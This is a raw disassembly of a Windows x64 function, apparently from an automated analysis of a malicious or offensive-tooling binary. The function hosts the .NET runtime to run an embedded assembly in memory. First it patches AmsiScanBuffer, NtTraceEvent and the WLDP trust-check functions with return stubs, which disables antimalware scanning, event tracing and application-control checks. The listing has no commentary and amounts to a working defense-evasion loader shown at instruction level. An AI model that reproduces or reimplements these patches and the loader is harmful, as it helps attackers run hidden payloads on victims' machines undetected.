Function at 0x14000de20
Capabilities:
Load windows common language runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc8]
sub rsp, 0x1a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14014ba40]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor r13d, r13d
mov r15, qword [0x14014e840]
mov r12, qword [0x14014e848]
test r12, r12
je 0x14000e87f
test r15, r15
je 0x14000e87f
mov dword [rbp - 8], r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x48], r13
mov qword [rsp + 0x60], r13
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x50], r13
mov esi, 1
mov dword [rbp - 0x40], r13d
mov edx, esi
lea rcx, [rbp - 0x60]
call fcn.140012b40
lea r8, [rsp + 0x68]
lea rdx, [0x14013b0a8]
lea rcx, [0x14013b0b8]
call qword [sym.imp.mscoree.dll_CLRCreateInstance]
test eax, eax
js 0x14000e7e5
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
lea rdx, [rsp + 0x60]
call qword [rax + 0x28]
test eax, eax
js 0x14000e7e5
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
lea r9, [rbp - 0x40]
mov r8, qword [rbp - 0x60]
mov edx, esi
call qword [rax + SafeArrayCopy]
test eax, eax
jne 0x14000e091
nop word [rax + rax]
mov eax, dword [rbp - 0x40]
cmp eax, esi
jne 0x14000e056
lea ecx, [rsi - 1]
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax + rcx*8]
mov rax, qword [rcx]
lea r8, [rsp + 0x58]
lea rdx, [0x14013db18]
call qword [rax]
test eax, eax
jne 0x14000df7f
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000df7f
mov rax, qword [rcx]
lea rdx, [rbp - 8]
call qword [rax + 0x50]
mov rbx, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x60]
cmp rdi, rbx
je 0x14000dfaf
nop dword [rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000df9e
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rdi, 8
cmp rdi, rbx
jne 0x14000df90
mov rbx, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x60]
sub rbx, rdi
and rbx, 0xfffffffffffffff8
xor eax, eax
mov rcx, rbx
rep stosb byte [rdi], al
cmp dword [rbp - 8], eax
jne 0x14000e091
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rsp + 0x58], r13
inc esi
mov edi, esi
mov rbx, qword [rbp - 0x58]
mov rcx, rbx
mov r8, qword [rbp - 0x60]
sub rcx, r8
sar rcx, 3
cmp rdi, rcx
jae 0x14000dff7
lea rax, [r8 + rsi*8]
jmp 0x14000e037
jbe 0x14000e03b
mov rax, qword [rbp - 0x50]
sub rax, r8
sar rax, 3
cmp rdi, rax
jbe 0x14000e01b
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.140012b40
mov r8, qword [rbp - 0x60]
jmp 0x14000e03b
sub rdi, rcx
lea r8, [rbx + rdi*8]
sub r8, rbx
xor edx, edx
mov rcx, rbx
call fcn.140083fc0
lea rax, [rbx + rdi*8]
mov r8, qword [rbp - 0x60]
mov qword [rbp - 0x58], rax
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
lea r9, [rbp - 0x40]
mov edx, esi
call qword [rax + SafeArrayCopy]
test eax, eax
je 0x14000df40
jmp 0x14000e091
mov rdi, qword [rbp - 0x60]
test eax, eax
je 0x14000e082
mov rbx, qword [rbp - 0x58]
cmp rdi, rbx
je 0x14000e082
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000e075
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rdi, 8
cmp rdi, rbx
jne 0x14000e067
mov rdi, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
sub rcx, rdi
and rcx, 0xfffffffffffffff8
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000e7e5
mov rax, qword [rcx]
lea r9, [rsp + 0x50]
lea r8, [0x14013af98]
lea rdx, [0x14013afe0]
call qword [rax + 0x48]
test eax, eax
js 0x14000e7e5
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x14000e7d5
mov rdi, qword [rsp + 0x50]
mov rax, qword [rdi]
mov rbx, qword [rax + 0x68]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000e0f3
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rdi, qword [rsp + 0x50]
mov qword [rbp - 0x28], r13
lea rdx, [rbp - 0x28]
mov rcx, rdi
call rbx
test eax, eax
js 0x14000e7ca
mov rdi, qword [rbp - 0x28]
test rdi, rdi
je 0x14000e8e1
mov rax, qword [rdi]
mov rbx, qword [rax]
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000e12a
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x30], r13
lea r8, [rbp - 0x30]
lea rdx, [0x14013afb8]
mov rcx, rdi
call rbx
test eax, eax
js 0x14000e7b7
mov dword [rbp + 0x24], r13d
mov dword [rbp + 0x20], r15d
mov ecx, 0x11
lea r8, [rbp + 0x20]
mov esi, 1
mov edx, esi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r14, rax
test rax, rax
je 0x14000e7a4
mov r8, r15
mov rdx, r12
mov rcx, qword [rax + 0x10]
call fcn.140083920
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000e1f3
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000e1f3
mov qword [rbp - 0x70], r13
mov dword [rbp - 0x68], 0x70057b8
mov word [rbp - 0x64], 0xc380
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 6
lea r8, [rbp - 0x68]
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [0x14013ad28]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14000e25b
lea rdx, str.NtTraceEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp - 0x68], r13
test rax, rax
je 0x14000e25b
mov byte [rbp - 0x78], 0xc3
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rbp - 0x78]
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, str.wldp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000e340
lea rdx, str.WldpIsClassInApprovedList
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.WldpQueryDynamicCodeTrust
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp - 0x68], r13
test rbx, rbx
je 0x14000e340
test rax, rax
je 0x14000e340
mov dword [rbp + 0x60], 0x100c741
mov dword [rbp + 0x64], 0x31000000
mov word [rbp + 0x68], 0xc3c0
mov word [rbp - 0x70], 0xc031
mov byte [rbp - 0x6e], 0xc3
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0xa
lea r8, [rbp + 0x60]
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 3
lea r8, [rbp - 0x70]
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov r8d, 0x400
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rdi, qword [rbp - 0x30]
test rdi, rdi
je 0x14000e8e1
mov rax, qword [rdi]
mov rbx, qword [rax + 0x168]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000e366
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x38], r13
lea r8, [rbp - 0x38]
mov rdx, r14
mov rcx, rdi
call rbx
test eax, eax
js 0x14000e79b
mov rdi, qword [rbp - 0x38]
test rdi, rdi
je 0x14000e8e1
mov rax, qword [rdi]
mov rbx, qword [rax + 0x80]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000e3a4
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x48], r13
lea rdx, [rbp - 0x48]
mov rcx, rdi
call rbx
test eax, eax
js 0x14000e788
mov word [rsp + 0x38], si
mov qword [rsp + 0x40], r13
mov eax, 0x2008
mov word [rsp + 0x70], ax
mov ecx, 8
call fcn.140038844
mov rdi, rax
mov qword [rbp + 0x60], rax
call fcn.140020d1c
mov ecx, dword [rax]
mov dword [rdi], ecx
mov dword [rdi + 4], r13d
mov ecx, 8
mov r8, rdi
mov edx, esi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], r13
call fcn.140020d1c
mov ecx, dword [rax]
cmp ecx, 1
cmovl ecx, esi
movsxd rdx, ecx
mov qword [rbp - 0x70], rdx
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp - 0x20]
sar rax, 3
cmp rdx, rax
jbe 0x14000e45e
movabs rax, 0x1fffffffffffffff
cmp rdx, rax
ja 0x14000e8be
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x20]
call fcn.140011430
mov dword [rbp - 0x70], r13d
call fcn.140020d1c
mov ecx, dword [rax]
cmp dword [rbp - 0x70], ecx
jge 0x14000e5c9
call fcn.140020d24
mov rcx, qword [rax]
movsxd rax, dword [rbp - 0x70]
mov rdx, qword [rcx + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14000e4a0
lea rcx, [rbp]
call fcn.1400077d0
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x28]
call fcn.14000e8f0
nop
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rcx, qword [rbp + 0x28]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
mov qword [rbp + 0x60], rax
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rdx, qword [rbp - 0x18]
cmp rdx, qword [rbp - 0x10]
je 0x14000e50c
mov qword [rdx], rdi
add qword [rbp - 0x18], 8
jmp 0x14000e51a
lea r8, [rbp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.140012990
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x14000e55a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e555
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8c4
call fcn.140038810
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000e5a6
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e5a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8ca
call fcn.140038810
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rbp], 0
inc dword [rbp - 0x70]
call fcn.140020d1c
mov ecx, dword [rax]
cmp dword [rbp - 0x70], ecx
jl 0x14000e472
mov ecx, 8
call fcn.140038844
mov qword [rax], 1
mov ecx, SafeArrayGetDim
mov r8, rax
mov edx, esi
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rbx, rax
mov dword [rbp - 0x68], r13d
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x68]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000e8d6
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x128]
movups xmm6, xmmword [rsp + 0x38]
movaps xmmword [rbp], xmm6
movsd xmm7, qword [rsp + 0x48]
movsd qword [rbp + 0x10], xmm7
lea r9, [rbp + 0x48]
mov r8, rbx
lea rdx, [rbp]
call rdi
test eax, eax
jns 0x14000e6ea
mov ecx, SafeArrayGetDim
xor r8d, r8d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rsi, rax
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000e8d6
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x128]
movaps xmmword [rbp], xmm6
movsd qword [rbp + 0x10], xmm7
lea r9, [rbp + 0x48]
mov r8, rax
lea rdx, [rbp]
call rdi
test eax, eax
jns 0x14000e6e1
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14000e6d9
mov rax, qword [rbp - 0x10]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e6c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8d0
call fcn.140038810
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov dil, 1
jmp 0x14000e7e8
mov rcx, rsi
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rbx, qword [rbp - 0x18]
mov rdi, qword [rbp - 0x20]
cmp rdi, rbx
je 0x14000e722
nop dword [rax + rax]
mov rcx, qword [rdi]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
add rdi, 8
cmp rdi, rbx
jne 0x14000e710
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000e8d6
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14000e788
mov rax, qword [rbp - 0x10]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e777
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8d0
call fcn.140038810
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000e8e1
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000e8e1
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000e8e1
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov dil, 1
jmp 0x14000e7e8
xor dil, dil
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000e83a
mov rax, qword [rbp - 0x50]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e829
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8b8
call fcn.140038810
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000e84a
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000e85a
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000e86a
mov rdx, qword [rcx]
call qword [rdx + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000e879
mov rdx, qword [rcx]
call qword [rdx + reloc.OLEAUT32.dll_SafeArrayGetDim]
movzx eax, dil
jmp 0x14000e881
xor al, al
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.1400385b0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140020358
nop
call fcn.140009130
nop
call fcn.140020358
nop
call fcn.140020358
nop
call fcn.140020358
nop
mov ecx, 0x80004003
call fcn.1400753f0
nop
mov ecx, 0x80004003
call fcn.1400753f0
int3